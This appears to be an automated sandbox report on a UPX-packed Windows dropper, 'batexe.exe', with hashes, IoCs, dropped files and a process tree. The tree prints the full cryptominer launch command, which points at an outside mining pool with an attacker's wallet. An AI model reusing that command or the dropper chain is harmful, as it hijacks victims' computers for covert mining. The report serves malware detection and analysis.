73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
23-02-2024 14:35

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3864	b2e.exe
1112	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1112	cpuminer-sse2.exe
1112	cpuminer-sse2.exe
1112	cpuminer-sse2.exe
1112	cpuminer-sse2.exe
1112	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3444-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3444 wrote to memory of 3864	3444	batexe.exe	75
PID 3444 wrote to memory of 3864	3444	batexe.exe	75
PID 3444 wrote to memory of 3864	3444	batexe.exe	75
PID 3864 wrote to memory of 3264	3864	b2e.exe	77
PID 3864 wrote to memory of 3264	3864	b2e.exe	77
PID 3864 wrote to memory of 3264	3864	b2e.exe	77
PID 3264 wrote to memory of 1112	3264	cmd.exe	79
PID 3264 wrote to memory of 1112	3264	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3444
- C:\Users\Admin\AppData\Local\Temp\7B4A.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\7B4A.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\7B4A.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3864
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7D5E.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3264
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7B4A.tmp\b2e.exe

Filesize
9.6MB

MD5
2f8f3f9fbc3d8409c5fb51bfc7ffd29c

SHA1
5fdb8be44fd4aee5b033b2c9aabf927bf88b8c2c

SHA256
0a21728b737ad6d0151c3f6d607ffde15c7e5c33e784c06db324dfd716d354ae

SHA512
43ac000344773b856b8776b6013abb176c59cf3e2ba58389e566e10333b353b7f85ee50de17eb1e288f6c18c164d1803ffea7d5a0ef1831406d6cf20eaf62e54

Download Submit
C:\Users\Admin\AppData\Local\Temp\7B4A.tmp\b2e.exe

Filesize
10.1MB

MD5
b1d86528ffdc2efa03ac21c755bcd6c7

SHA1
59378f6e2f54b99e0ab5efa1446a5190a7f0a2fc

SHA256
467981e525d575090d9f7889b6e8f6f433ed9fd86fed234738429253c7383eec

SHA512
3b60df309403b9b89bfda01c76888e0cc8de0518b755dff089d57c7312c6abb4abd975c8fab3f33adca8f19b8eccd94f66f10f230162b50fa80fea7c9dfc78ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\7D5E.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.1MB

MD5
1dd8f051043d12afafb5db86725f6d6f

SHA1
f0f8d34c655b4370e4a18dd00ebe32deaa54a914

SHA256
ea6023d7be65a84049c9abe4e05f4b3d3126cafcc145bc2acda66ee7c9226e3b

SHA512
0d79486a4dcb758a5318910684b5fdc1504a12153efcb2be9b32f76fe1ab1002b68edf4202cc328db1c5ac28a86f282c53d4f1e5d5840b53983acfedefe2ff6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.1MB

MD5
732bbeccea4fa72535719eca0a36e213

SHA1
868b3092c4b6d1021461b92cd42e403f2c0b5352

SHA256
caa202a9a62ac76d21c1ea65d83ae9a52d906393746dfedb8a6481e792727fa9

SHA512
5e6c32292e1642497869a9d91f2b5fbba9b146d7a7ab24c29d29f4e783e7bc987f8abc4478f596e1ba03bd080a3306f005da4a129b4a9bb501c13f47665779b7

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.2MB

MD5
82e8c9888153bbec7914eabfa0481a15

SHA1
fd3f6d8c76b0fc8ff29bd55934f44be1e85fcd2a

SHA256
be3245e3dc67a6d84ce7e5df909a9f39ce8e4099d033a554f7dc8ae40e9139ca

SHA512
9cffa66eb9aec52fd53e988bbd82d36f04cce9f8509fae741bd78d0a87f6c1dda51a477ef658e900cb5e30433f159a4aa227af5b0404f04d9db48b341d8fcf6a

Download Submit
memory/1112-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1112-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1112-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1112-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1112-42-0x0000000069460000-0x00000000694F8000-memory.dmp

Filesize
608KB

Download
memory/1112-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1112-44-0x0000000001050000-0x0000000002905000-memory.dmp

Filesize
24.7MB

Download
memory/1112-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1112-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1112-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1112-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1112-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1112-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1112-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3444-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3864-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3864-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download